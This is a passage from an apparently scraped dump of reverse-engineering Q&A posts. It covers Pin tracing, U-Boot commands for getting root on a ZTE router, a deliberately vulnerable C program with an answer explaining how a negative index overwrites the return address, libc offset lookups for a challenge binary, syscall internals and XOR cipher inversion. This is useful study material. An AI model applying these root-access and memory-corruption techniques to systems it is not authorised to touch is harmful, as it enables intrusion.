    \n" }, { "Id": "19309", "CreationDate": "2018-09-11T20:57:09.723", "Body": "

    Look at this very basic c program:

    \n\n
    int main()\n{\n    for (int i=0;i<0x42;i++)\n    {\n        asm(\"nop\");\n        asm(\"nop\");\n    }\n    return 0x42;\n}\n
    \n\n

    I have compiled it without any optimisations.

    \n\n

    You can see this with radare2:

    \n\n
    |       ,=< 0x00001130      eb06           jmp 0x1138\n|       |   ; JMP XREF from 0x0000113c (main)\n|      .--> 0x00001132      90             nop\n|      :|   0x00001133      90             nop\n|      :|   0x00001134      8345fc01       add dword [local_4h], 1\n|      :|   ; JMP XREF from 0x00001130 (main)\n|      :`-> 0x00001138      837dfc41       cmp dword [local_4h], 0x41  ; [0x41:4]=0x4000000 ; 'A'\n|      `==< 0x0000113c      7ef4           jle 0x1132\n
    \n\n

    The 2 nops instructions will be runned 0x42 times.

    \n\n

    What i want to do is to understand how i can log all program instructions with pin tool.

    \n\n

    I have wrote a very basic tool for pin:

    \n\n
    #include \"pin.H\"\n#include <stdio.h>\n\nVOID callback_instruction(INS ins, VOID *v)\n{\n    printf(\"%lx\\t%s\\n\", INS_Address(ins),INS_Disassemble(ins).c_str());\n}\n\nint main(int argc, char *argv[])\n{\n    if (PIN_Init(argc,argv))\n    {\n        printf(\"Erreur\\n\");\n        return 0;\n    }\n\n    INS_AddInstrumentFunction(callback_instruction, 0);\n    PIN_StartProgram();\n\n    return 0;\n}\n
    \n\n

    There is something i do not understand. callback_instruction should be called before each instructions.\nSo i should see 0x42*2 times the nop instruction.\nOr i can see it only twice times.

    \n\n

    I do not understand why pintool just disassemble my program instead of running it instruction by instruction...

    \n", "Title": "I want to trace all instructions with pintool. Strange behaviour", "Tags": "|pintool|", "Answer": "

    I think you might have confused INS_AddInstrumentFunction with a tracing callback. In your case the callback supplied to INS_AddInstrumentFunction is callback_instruction. Pin calls callback_instruction every time a new instruction is encountered, not on every execution of an instruction.

    \n\n

    This is probably not what you want to achieve. Here's the code that suits your case. You need to register a callback which is executed on every execution.

    \n\n
    #include \"pin.H\"\n#include <stdio.h>\n\nVOID dump_nop(UINT64 insAddr, std::string insDis) {\n  printf(\"%lx\\t%s\\n\", insAddr, insDis.c_str());\n}\n\nVOID callback_instruction(INS ins, VOID *v) {\n\n  if (INS_IsNop(ins)) {\n    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)dump_nop, IARG_ADDRINT,\n                   INS_Address(ins), IARG_PTR, new string(INS_Disassemble(ins)),\n                   IARG_END);\n  }\n}\n\nint main(int argc, char *argv[]) {\n  if (PIN_Init(argc, argv)) {\n    printf(\"Erreur\\n\");\n    return 0;\n  }\n\n  INS_AddInstrumentFunction(callback_instruction, 0);\n  PIN_StartProgram();\n\n  return 0;\n}\n
    \n" }, { "Id": "19324", "CreationDate": "2018-09-12T22:15:58.727", "Body": "

    I'm trying to gain a root access to my ZTE F680 router. I already have a serial connection and able to interrupt the U-Boot autoboot. The problem I'm having is understanding how given the following environment, is U-Boot able to boot Linux whereas when I try to run the same commands in its shell it fails. The environment:

    \n\n
    CASset=max\nEMAC=EMAC0\nMACMODE=GMII\nMALLOC_len=5\nMPmode=SMP\namp_enable=no\nautoload=no\nbaudrate=115200\nboot_order=hd_scr hd_img pxe net_img net_scr\nbootargs_dflt=$console $mtdparts $bootargs_root nfsroot=$serverip:$rootpath ip=$ipaddr:$serverip$bootargs_end $mvNetConfig video=dovefb:lcd0:$lcd0_params clcd.lcd0_enable=$lcd0_enable clcd.lcd_panel=$lcd_panel\nbootargs_end=:10.4.50.254:255.255.255.0:AvantaLP:eth0:none\nbootargs_root=root=/dev/nfs rw\nbootcmd=setenv bootargs console=ttyS0,115200 root=/dev/ram0 rw load_ramdisk=1 rdinit=/sbin/init mv_switch_config=none memsize=$(memsize) mem=$(memsize); bootm 0x2000100;\nbootdelay=3\nbootfile=uboot.bin\nbootsize=0x60000\ncacheShare=no\nconsole=console=ttyS0,115200\ndevice_partition=0:1\ndisL2Cache=yes\ndisL2Prefetch=yes\ndisaMvPnp=no\neeeEnable=no\nenaClockGating=no\nenaCpuStream=no\nenaDCPref=yes\nenaFPU=yes\nenaICPref=yes\nenaMonExt=no\nenaWrAllo=no\neth1addr=00:50:43:00:02:02\neth1mtu=1500\neth2addr=00:50:43:00:00:02\neth2mtu=1500\neth3addr=00:50:43:02:00:00\neth3mtu=1500\nethact=egiga0\nethaddr=00:50:43:00:02:02\nethmtu=1500\nethprime=egiga0\nfdt_addr=2040000\nflashsize=134217728\nfullfile=upgrade.bin\nide_path=/\nimage_name=uImage\ninitrd_name=uInitrd\nipaddr=192.168.1.1\nkernel_addr_r=2080000\nkernelsize=0x16000000\nlcd0_enable=0\nlcd0_params=640x480-16@60\nlcd_panel=0\nlinuzfile=vmlinuz.bin\nloadaddr=0x02000000\nloads_echo=0\nmemsize=253M\nmtddevname=boot\nmtddevnum=0\nmtdids=nand0=mvebu-nand\nmtdparts=mtdparts=mvebu-nand:1536k@0(boot),512k(env),20m(kernel0),20m(kernel1),6m(others),4m(parameter),8m(usercfg),4m(middleware),4m(wlan)\nmvNetConfig=mv_switch_config=none\nmv_pon_addr=00:50:43:02:00:00\nnandEcc=1bit\nnand_erasesize=20000\nnand_oobsize=40\nnand_writesize=800\nnetbsd_en=no\nnetdev=mii0\nnetmask=255.255.255.0\nnetretry=no\npartition=nand0,0\npcieTune=no\npexMode=RC\npxe_files_load=:default.arm-armadaxp-db:default.arm-armadaxp:default.arm\npxefile_addr_r=3100000\nramdisk_addr_r=2880000\nrcvr_image=rootfs.squashfs.rcvr.img\nrootfile=rootfs.img\nrootpath=/srv/nfs/\nsata_delay_reset=0\nsata_dma_mode=yes\nscript_addr_r=3000000\nscript_name=boot.scr\nserverip=192.168.1.100\nsetL2CacheWT=no\nsilent=0\nstandalone=fsload 0x2000000 $image_name;setenv bootargs $console $mtdparts root=/dev/mtdblock0 rw ip=$ipaddr:$serverip$bootargs_end; bootm 0x2000000;\nstderr=serial\nstdin=serial\nstdout=serial\nversioninfo=U-Boot V2.0.10T5 0x1600000 0x1 0x82 0x87\nvxworks_en=no\nyuk_ethaddr=00:00:00:EE:51:81\n\nEnvironment size: 2586/131068 bytes\n
    \n\n

    From what I gatered, the stage 2 should load the boot.scr script and then execute bootcmd. But trying to do this in shell fails. Trying to run boot.scr claims there's no valid image at this address and loading it with fsload fails with:

    \n\n
    ### JFFS2 loading 'boot.scr' to 0x3000000\nScanning JFFS2 FS:  done.\nfind_inode failed for name=boot.scr\nload: Failed to find inode\n
    \n\n

    The partition table does exist:

    \n\n
    => mtdparts\nmtdparts\n\ndevice nand0 <mvebu-nand>, # parts = 9\n #: name        size        offset      mask_flags\n 0: boot                0x000000180000      0x000000000000      0\n 1: env                 0x000000080000      0x000000180000      0\n 2: kernel0             0x000001400000      0x000000200000      0\n 3: kernel1             0x000001400000      0x000001600000      0\n 4: others              0x000000600000      0x000002a00000      0\n 5: parameter           0x000000400000      0x000003000000      0\n 6: usercfg             0x000000800000      0x000003400000      0\n 7: middleware          0x000000400000      0x000003c00000      0\n 8: wlan                0x000000400000      0x000004000000      0\n
    \n\n

    but listing any of them with ls gives no results:

    \n\n
    => ls\nScanning JFFS2 FS:  done.\n
    \n\n

    I'm wondering if maybe U-Boot has been compiled without some commands (i.e. fdt command is missing) or some hardcoded boot sequence? If I don't interrupt the autoboot it looks like this:

    \n\n
    Hit any key to stop autoboot:  0\nflash block_size is 0x20000\nflash size(search addredd) is 0x8000000\nsearch.c,372,do_search: search->result[index].entry = 0x200100\nsearch.c,372,do_search: search->result[index].entry = 0x1600100\ndo_search ending\ndo_startup() start\nselect=0x1\nsearch->result[select].entry=1600100\nsearch->result[1].entry = 0x1600100\ndo_startup() ending\ndo_settings() start\ndo_setting versioninfo\nbtNumbers is V2.0.10T5\n## Booting kernel from Legacy Image at 02000100 ...\n   Image Name:   Linux Kernel Image\n   Created:      2017-10-25   9:10:20 UTC\n   Image Type:   ARM Linux Kernel Image (gzip compressed)\n   Data Size:    15128571 Bytes = 14.4 MiB\n   Load Address: 00008000\n   Entry Point:  00008000\n   Verifying Checksum ... OK\n   Uncompressing Kernel Image ... OK\n|-->setup versioninfo tag...versioninfo is U-Boot V2.0.10T5 0x1600000 0x1 0x82 0x87\n\nStarting kernel ...\n
    \n", "Title": "How does U-Boot get from this environment to booting Linux?", "Tags": "|embedded|", "Answer": "

    Almost two years later I had to do it again and this time I documented my process!\nLooks like U-Boot has a script (probably custom for ZTE) that scans the NAND memory in search for an image and then loads it in memory. This part is visible in logs here:

    \n
    search.c,372,do_search: search->result[index].entry = 0x200100\nsearch.c,372,do_search: search->result[index].entry = 0x1600100\ndo_search ending\ndo_startup() start\nselect=0x1\nsearch->result[select].entry=1600100\nsearch->result[1].entry = 0x1600100\ndo_startup() ending\n
    \n

    I'm not sure how I can call this script but I managed to load the image manually. First I took note of the addresses: image in flash:

    \n
    search->result[select].entry=1600100\n
    \n

    and memory where it's jumped to:

    \n
    ## Booting kernel from Legacy Image at 02000100 ...\n
    \n

    As loading has to be aligned with the page, I ended up loading from 0x1600000 into 0x2000000. Only missing part was the size for the nand load command but I assumed the whole partition would be enough so I just took the value from mtdparts command and ended up with:

    \n
    > nand read 0x2000000 0x1600000 0x1400000\n
    \n

    Now with the image loaded I could just run bootcmd but I wanted to gain root access so I made a small tweak to the bootargs by adding single to boot it in single user mode:

    \n
    > setenv bootargs console=ttyS0,115200 root=/dev/ram0 rw load_ramdisk=1 rdinit=/sbin/init mv_switch_config=none memsize=$(memsize) mem=$(memsize) single\n> bootm 0x2000100\n
    \n

    I hope this answer is useful for the two people who upvoted this question and for any future visitor.

    \n" }, { "Id": "19331", "CreationDate": "2018-09-13T13:58:51.410", "Body": "

    I get this code and I can not find the vulnerability.\nI think this code may be vulnerable to buffer overflow. How do I prove it?

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n\ntypedef struct _AC_DATA\n{   \n    int the;\n    int fan;\n    bool rec;\n} AC_DATA, *PAC_DATA;\n\ntypedef struct _RADIO_DATA\n{\n    char speakers_volume[4];\n    int station;\n} RADIO_DATA, *PRADION_DATA;\n\ntypedef struct _GLOBAL_DATA\n{\n    AC_DATA ac_data;\n    RADIO_DATA radio_data;\n}GLOBAL_DATA, *PGLOBAL_DATA;\n\nvoid good()\n{\n    printf(\"Good!\\n\");\n}\n\nint update_volume(PGLOBAL_DATA pglobal_data, int index, int new_volume)\n{\n    char arr[100];\n\n    if(index > 4)\n    {\n        printf(\"error invalid speaker.\\n\");\n        return -1;\n    }\n    printf(\"updating the speaker %d to volume %d\\n\", index, new_volume);\n    pglobal_data -> radio_data.speakers_volume[index] = new_volume;\n}\n\nvoid hacked()\n{\n    printf(\"Hacked!\\n\");\n}\n\n\nint main () {\n\n    GLOBAL_DATA global_data = {0};\n    int index;\n    int new_volume;\n    printf(\"address of main: 0x%X.\\n\", main);\n    printf(\"enter volume index:\");\n    scanf(\"%d\", &index);\n    printf(\"enter new volume:\");\n    scanf(\"%d\", &new_volume);\n    update_volume(&global_data, index, new_volume);\n\n    return 0;\n}\n
    \n", "Title": "someone can help me recognize the vulnerability", "Tags": "|buffer-overflow|vulnerability-analysis|", "Answer": "

    The bug is in update_volume.

    \n\n
    pglobal_data -> radio_data.speakers_volume[index] = new_volume;\n
    \n\n

    index is an int, it can take negative values too. Ideally you should not be able to access -ve indices in an array as it gives you read/write over memory area preceding the array. Here we just have a check to limit its max value to 4 but you can use negative integers to INT_MIN and overwrite a byte.

    \n\n

    For exploitation, global_data belongs to main's stack frame. Accessing negative indices you can overwrite a byte in return address of update_volume (somewhere in main) on the stack. This gives you the primitive to jump to maybe hacked or good functions.

    \n\n

    Resources: Use ASAN to verify your claims while fuzzing with inputs.

    \n\n

    Here is the ASAN dump for this case.

    \n\n
    ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-6.0/bin/llvm-symbolizer ./test\naddress of main: 0xCA77FE6F.\nenter volume index:-36\nenter new volume:65\nupdating the speaker -36 to volume 65\n=================================================================\n==27759==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffebfb3ff98 at pc 0x55f1ca77fe6f bp 0x7ffebfb3fed0 sp 0x7ffebfb3fec0\nWRITE of size 1 at 0x7ffebfb3ff98 thread T0\n    #0 0x55f1ca77fe6e in update_volume /tmp/re.c:39\n    #1 0x55f1ca78004b in main /tmp/re.c:57\n    #2 0x7f237a433b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)\n    #3 0x55f1ca77fcf9 in _start (/tmp/test+0xcf9)\n\nAddress 0x7ffebfb3ff98 is located in stack of thread T0 at offset 136 in frame\n    #0 0x55f1ca77fe7e in main /tmp/re.c:47\n\n  This frame has 3 object(s):\n    [32, 36) 'index'\n    [96, 100) 'new_volume'\n    [160, 180) 'global_data' <== Memory access at offset 136 underflows this variable\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow /tmp/re.c:39 in update_volume\nShadow bytes around the buggy address:\n  0x100057f5ffa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f5ffb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f5ffc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f5ffd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f5ffe0: 00 00 f1 f1 f1 f1 04 f2 f2 f2 f2 f2 f2 f2 04 f2\n=>0x100057f5fff0: f2 f2 f2[f2]f2 f2 00 00 04 f2 00 00 00 00 00 00\n  0x100057f60000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f60010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f60020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f60030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100057f60040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==27759==ABORTING\n
    \n\n

    Please specify while posting if this a homework problem. We are happy to help but won't do all the job for you if you don't show any progress made/research done as @SYS_V mentioned in comments.

    \n" }, { "Id": "19333", "CreationDate": "2018-09-13T15:20:30.227", "Body": "

    From this question: How does the Windows Native API communicate with the kernel?

    \n

    Here is an example of ZwClose(HANDLE Handle); system call in NTDLL.DLL in Windows 10 X86_64:

    \n\n
    NtClose         proc near\nmov     r10, rcx\nmov     eax, 0Fh\ntest    byte ptr ds:7FFE0308h, 1\njnz     short loc_a\nsyscall\nretn\n\nloc_a:\nint     2Eh\nretn\nNtClose         endp\n
    \n

    My question is, why there is two different instruction syscall and int 0x2E in one subroutine? The 0xF value in EAX is the ID of ZwClose() and/or NtCose(). While debugging, code execution never goes to int 0x2E, syscall instruction is always executed and ds:7FFE0308h becomes zero.

    \n\n", "Title": "What are the difference syscall and int 0x2E instructions?", "Tags": "|windows|x86|kernel-mode|system-call|", "Answer": "

    7FFE0308h is a pointer inside the KUSER_SHARED_DATA struct.

    \n
    \n

    The pre-set address for access from kernel mode is defined symbolically in WDM.H as KI_USER_SHARED_DATA. It helps when debugging to remember that this is 0xFFDF0000 or 0xFFFFF780`00000000, respectively, in 32-bit and 64-bit Windows. Also defined is a convenient symbol, SharedUserData, which casts this constant address to a KUSER_SHARED_DATA pointer.

    \n

    The read-only user-mode address for the shared data is 0x7FFE0000, both in 32-bit and 64-bit Windows.

    \n
    \n

    Ref: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kuser_shared_data.htm

    \n

    We see from that ref above that SharedUserData+0x308 is

    \n
    \n

    0x0308 ULONG SystemCall

    \n
    \n

    for Windows versions 1511 and higher.

    \n

    So what does it do?

    \n
    //\n// On AMD64, this value is initialized to a nonzero value if the system\n// operates with an altered view of the system service call mechanism.\n//\n\nULONG SystemCall;\n
    \n

    from recent ntddk.h

    \n

    ...not very helpful.

    \n

    So what's the difference between int 2e and syscall in this context?

    \n

    Ref: https://twitter.com/honorary_bot/status/966609444674162688

    \n
    \n

    Might be a clue: 'int 2e' instruction can be trapped by vmx, syscall not

    \n
    \n

    More info here: https://www.amossys.fr/fr/ressources/blog-technique/windows10-th2-int2e-mystery/

    \n
    \n

    In the context of your question the ntdll.dll int 0x2e system calls probably have something to do with Virtualization Based Security. They have been present in Windows 10 since version 1511, after having been removed as a syscall method since Windows 8.

    \n" }, { "Id": "19338", "CreationDate": "2018-09-14T03:15:06.223", "Body": "

    As a beginner I'm trying to disassemble a file with IDA Pro 6.8. I write some IDC script for time-consuming work.

    \n\n

    Now, I want to get the execution time of my script, but I can not find appropriate IDC function. Are there anyone to tell me how to write script get execution time?

    \n\n

    Thanks in advance.

    \n", "Title": "How to get execution time of IDC script?", "Tags": "|ida|script|", "Answer": "

    What you could do as a workaround for the missing time-support in Ida:

    \n\n

    IDC has an \"Exec\" command (as mentioned in a comment) allowing you to make arbitrary calls to the OS. This might help. In the \"Exec\" bracktes you enter a command in much the same way as typing it on the command line.

    \n\n

    The following is an idc script file

    \n\n
      \n
    • Writing the date and time with some comment into the file\nC:\\tmp\\mytime.tim.
      • \n

    • Reading this file and displying its contents to Ida's output\nwindow.

      \n\n
      static main()\n{\n    writeTime();\n}\n\nstatic writeTime()\n{\n    Exec (\"echo Date of script run #1234 was %date% >> c:\\\\tmp\\\\mytime.tim\");\n    Exec (\"echo Time of script run #1234 %time% >> c:\\\\tmp\\\\mytime.tim\");\n    print(\"Time written into C:\\\\tmp\\\\mytime.tim\");\n\n    auto h = fopen(\"c:\\\\tmp\\\\mytime.tim\", \"r\");\n    auto date = readstr(h);\n    auto time = readstr(h);\n    if (date != -1 && time != -1)\n    {   \n        Message(\"%s\", date);\n        Message(\"%s\", time);\n    }\n    else\n        Message(\"error\\n\");\n    fclose(h);\n}\n
      \n\n

      Ida's output window shows the following:

      • \n
    \n\n

    \"enter

    \n" }, { "Id": "19344", "CreationDate": "2018-09-15T10:43:02.157", "Body": "

    I decompiled a program where there is a function, which has only a single useful instruction which is

    \n\n
    xor eax, eax\nretn\n
    \n\n

    What it the purpose of having this in an extra function, instead of using xor eax, eax or mov eax, 0 at the place where the call happens to be?

    \n\n
      \n
    • Notes:\n\n
        \n
      1. Most of the time, it is called directly call sub_41063A (address of the function), sometimes its address is loaded with mov esi, offset sub_41063A
        2. \n
      2. It is an x68_64-architecture
        3. \n
      3. I don't know, which compiler was used
        4. \n
      • \n
    \n\n

    Edit:

    \n\n

    Code examples: (I named the function 'clearEAX')

    \n\n

    The function Itself:

    \n\n
    .text:000000000041063A\n.text:000000000041063A clearEAX        proc near               ; CODE XREF: sub_40E4B4+37p\n.text:000000000041063A                                         ; sub_40E528+DFp ...\n.text:000000000041063A                 xor     eax, eax        ; Logical Exclusive OR\n.text:000000000041063C                 retn                    ; Return Near from Procedure\n.text:000000000041063C clearEAX        endp\n.text:000000000041063C\n.text:000000000041063D\n
    \n\n

    Its address being referenced (0x4113B2)\nIt being called directly in context: (0x4113CB)

    \n\n
    .text:00000000004113AC                 push    rbp\n.text:00000000004113AD                 mov     edx, offset unk_514200\n.text:00000000004113B2                 mov     esi, offset clearEAX\n.text:00000000004113B7                 push    rbx\n.text:00000000004113B8                 mov     ebx, edi\n.text:00000000004113BA                 sub     rsp, 28h        ; Integer Subtraction\n.text:00000000004113BE                 mov     rdi, rsp\n.text:00000000004113C1                 call    nullsub_3       ; Call Procedure\n.text:00000000004113C6                 mov     edi, offset unk_514200\n.text:00000000004113CB                 call    clearEAX        ; Call Procedure\n.text:00000000004113D0                 mov     rax, cs:qword_514398\n.text:00000000004113D7                 test    rax, rax        ; Logical Compare\n.text:00000000004113DA                 jz      short loc_4113E0 ; Jump if Zero (ZF=1)\n.text:00000000004113DC                 mov     edi, ebx\n.text:00000000004113DE                 call    rax ; qword_514398 ; Indirect Call Near Procedure\n.text:00000000004113E0\n
    \n\n

    However, I don't think, that the context does matter here because the context is nowhere near similar. Meaning that it's not the combination of moving the address first then calling it or something like that.

    \n", "Title": "Why having a function with just one instruction", "Tags": "|ida|compilers|", "Answer": "

    Very often functions like this will be listed within a vtable. This is where, within a language like C++, class objects can inherit functions and variables from other class objects.

    \n\n

    If class A, the parent class, implements a function getCount, class B can inherit from this class and change the return value of that function.

    \n\n

    Very often, developers will implement a generic method in the parent class, expecting derived classes to implement a more functional body.

    \n\n

    An example of this can be seen in the tinyxml C++ library. Most classes derive from a main XmlNode class, which implements several methods for casting to the correct type. Within the parent, each To_XXX function simply returns a null pointer. Each derived class overrides one of those methods to return a real pointer to itself.

    \n" }, { "Id": "19345", "CreationDate": "2018-09-15T11:55:55.247", "Body": "

    How to calculate the address of a function in the LIBC, when ASLR is not active.\nI only have the address where to load the LIBC (with ldd /bin/bash).

    \n\n

    Thank you for the explanations

    \n\n

    EDIT:

    \n\n

    When I use your method I do not get the good result, although it is good in general (I do not understand why)

    \n\n

    libc base adress

    \n\n

    ldd ch33\n linux-gate.so.1 => (0xb7fff000)\n libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e46000)\n /lib/ld-linux.so.2 (0x80000000)\n

    \n\n

    system offset:

    \n\n

    gdb -q /lib/i386-linux-gnu/libc.so.6\ngdb$ print system\n$1 = {<text variable, no debug info>} 0x40310 <__libc_system>\n

    \n\n

    I then calculate 0x40310 + 0xb7e46000 = 0xb7e86310

    \n\n

    However, i should get 0xb7e64310

    \n\n

    because:\n~$ gdb ch33\ngdb$ r\nStarting program: /challenge/app-systeme/ch33/ch33\n...\ngdb$ p system\n$1 = {<text variable, no debug info>} 0xb7e64310 <__libc_system>\n

    \n", "Title": "Found the adress of a function LIBC without GDB", "Tags": "|libc|", "Answer": "

    This can be done using

    \n\n

    objdump:

    \n\n
    $ objdump -TC /lib/x86_64-linux-gnu/libc.so.6 | grep \" printf$\"\n\n0000000000064e80 g    DF .text  00000000000000c3  GLIBC_2.2.5 printf\n
    \n\n

    readelf:

    \n\n
    $ readelf -Ws /lib/x86_64-linux-gnu/libc.so.6 | grep \" printf@@GLIBC_2.2.5\"\n   627: 0000000000064e80   195 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.2.5\n
    \n\n

    nm:

    \n\n
    $ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep \" printf$\"\n0000000000064e80 T printf\n
    \n\n

    gdb:

    \n\n
    $ ldd ./shellpointcode               \n    linux-vdso.so.1 (0x00007fff3f1e1000)\n    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f9213f000)\n    /lib64/ld-linux-x86-64.so.2 (0x00007f3f92732000)\n$ gdb -q /lib/x86_64-linux-gnu/libc.so.6\npwndbg: loaded 171 commands. Type pwndbg [filter] for a list.\npwndbg: created $rebase, $ida gdb functions (can be used with print/break)\nReading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.27.so...done.\ndone.\npwndbg> print printf\n$1 = {int (const char *, ...)} 0x64e80 <__printf>\n
    \n\n

    Then the effective address of printf would be

    \n\n
    0x64e80+0x7f3f9213f000 = 0x7f3f921a3e80\n
    \n" }, { "Id": "19352", "CreationDate": "2018-09-15T19:40:04.530", "Body": "

    Assuming I have a syscall to open.

    \n\n

    man 2 open gives me info, that it requires 2 or 3 parameters

    \n\n
    int open(const char *pathname, int flags);\nint open(const char *pathname, int flags, mode_t mode);\n
    \n\n

    So, my code runs and In my registers I have

    \n\n
    $rdi = 0x00007fffffffdb40 \u2192 \"/etc/init.d/\",\n$rsi = 0x0000000000000241,\n$rdx = 0x00000000000001c9\n
    \n\n

    How and which flags is it using during the call? How will the dir (or file) be opened?

    \n\n
      \n
    1. I am looking at the man page. The possible flags are mentioned, but not their bit/value/integer being set by |'ing the flags together in source code.
      2. \n
    2. I continue at the man page and see above the header files, which define the constants. In this case I'd need to #include <sys/types.h> <sys/stat.h> <fcntl.h>. However, in this files, I cannot find bits or integers, which sum or | up to the given flags ($rsi = 0x241, 577 in decimal, 1001000001 in binary) I cannot see any pattern.
      3. \n
    \n\n

    Question: Do I oversee something? Do I need to look somewhere else? Where are those bits described?

    \n", "Title": "How to get meaning of flags by integer", "Tags": "|compilers|", "Answer": "

    The flags are constants drawn from here:\nhttps://github.com/torvalds/linux/blob/master/tools/include/uapi/asm-generic/fcntl.h

    \n\n

    They can change but very rarely.

    \n\n
    \n\n

    Applying this we can see that

    \n\n

    0x241 == O_WRONLY | O_CREAT | O_TRUNC

    \n" }, { "Id": "19364", "CreationDate": "2018-09-16T18:46:51.097", "Body": "

    I have this java function that decode 8bytes text string(encoded as int[]):

    \n\n
    public static int[] decode(int[] text, int[] key) {\n   int j = 0x3c; //value 60 in decimal\n   int i = 0x33; //value 51 in decimal\n   int[] result;\n\n   for ( i = 0x33; ; (text[1]) ^= ((key[j]) ^ (text[4])) + i ){\n       j = j - 1;\n       text[7] ^= ((key[j--]) ^ (text[3])) + i;\n       text[6] ^= ((key[j--]) ^ (text[2])) + i;\n       text[5] ^= ((key[j]) ^ (text[1])) + i;\n       j = j - 1;\n       result = text;\n       (text[4]) ^= ((key[j]) ^ text[0]) + i;\n       if ( j <= 0 )\n           break;\n       j = j - 1;\n       text[0] ^= ((key[j--]) ^ (text[7])) + i;\n       text[3] ^= ((key[j]) ^ (text[6])) + i;\n       text[2] ^= ((text[4]) ^ (text[5])) + i;\n       j = j - 1;\n       //System.out.println(\"i \" +i+\" - j \"+j);\n   }\nreturn result;\n}\n
    \n\n

    but if I wanted to do the reverse, how can build the encode function? how do I build the inverse method(from decoded text to encode text)?

    \n", "Title": "Help reverse decrypt function (decode -> encode)", "Tags": "|decryption|", "Answer": "

    For

    \n\n
    a = b ^ c\n
    \n\n

    Since the XOR operation is trivial to reverse when any 2 values in a, b, c are known, this will only require you to just reverse the order in which operations were done. I had to do this in C since I don't use Java.

    \n\n
    int *encode(int *text, int *key) {\n  int j = 0x0;\n  int i = 0x33; // value 51 in decimal\n\n  for (i = 0x33;;) {\n    text[4] ^= ((key[j++]) ^ (text[0])) + i;\n    text[5] ^= ((key[j++]) ^ (text[1])) + i;\n    text[6] ^= ((key[j++]) ^ (text[2])) + i;\n    text[7] ^= ((key[j++]) ^ (text[3])) + i;\n    text[1] ^= ((key[j++]) ^ (text[4])) + i;\n    if (j >= 0x3c)\n      break;\n    text[2] ^= ((text[4]) ^ (text[5])) + i;\n    text[3] ^= ((key[j++]) ^ (text[6])) + i;\n    text[0] ^= ((key[j++]) ^ (text[7])) + i;\n  }\n  return text;\n}\n
    \n\n

    Here's the full code that works.

    \n\n
    #include <stdio.h>\n\nint *decode(int *text, int *key) {\n  int j = 0x3c; // value 60 in decimal\n  int i = 0x33; // value 51 in decimal\n\n  for (i = 0x33;;) {\n    text[1] ^= ((key[j--]) ^ (text[4])) + i;\n    text[7] ^= ((key[j--]) ^ (text[3])) + i;\n    text[6] ^= ((key[j--]) ^ (text[2])) + i;\n    text[5] ^= ((key[j--]) ^ (text[1])) + i;\n    text[4] ^= ((key[j--]) ^ (text[0])) + i;\n    if (j <= 0)\n      break;\n    text[0] ^= ((key[j--]) ^ (text[7])) + i;\n    text[3] ^= ((key[j--]) ^ (text[6])) + i;\n    text[2] ^= ((text[4]) ^ (text[5])) + i;\n  }\n  return text;\n}\n\nint *encode(int *text, int *key) {\n  int j = 0x0;\n  int i = 0x33; // value 51 in decimal\n\n  for (i = 0x33;;) {\n    text[4] ^= ((key[j++]) ^ (text[0])) + i;\n    text[5] ^= ((key[j++]) ^ (text[1])) + i;\n    text[6] ^= ((key[j++]) ^ (text[2])) + i;\n    text[7] ^= ((key[j++]) ^ (text[3])) + i;\n    text[1] ^= ((key[j++]) ^ (text[4])) + i;\n    if (j >= 0x3c)\n      break;\n    text[2] ^= ((text[4]) ^ (text[5])) + i;\n    text[3] ^= ((key[j++]) ^ (text[6])) + i;\n    text[0] ^= ((key[j++]) ^ (text[7])) + i;\n  }\n  return text;\n}\n\nint key[] = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n             0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41};\nint text[] = {0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68};\n\nint main(int argc, char **argv) {\n  int i, *d, *e;\n  for (i = 0; i < 8; i++) {\n    printf(\"%x::\", text[i]);\n  }\n  putchar(10);\n  d = decode(text, key);\n  for (i = 0; i < 8; i++) {\n    printf(\"%x::\", d[i]);\n  }\n  putchar(10);\n  e = encode(text, key);\n  for (i = 0; i < 8; i++) {\n    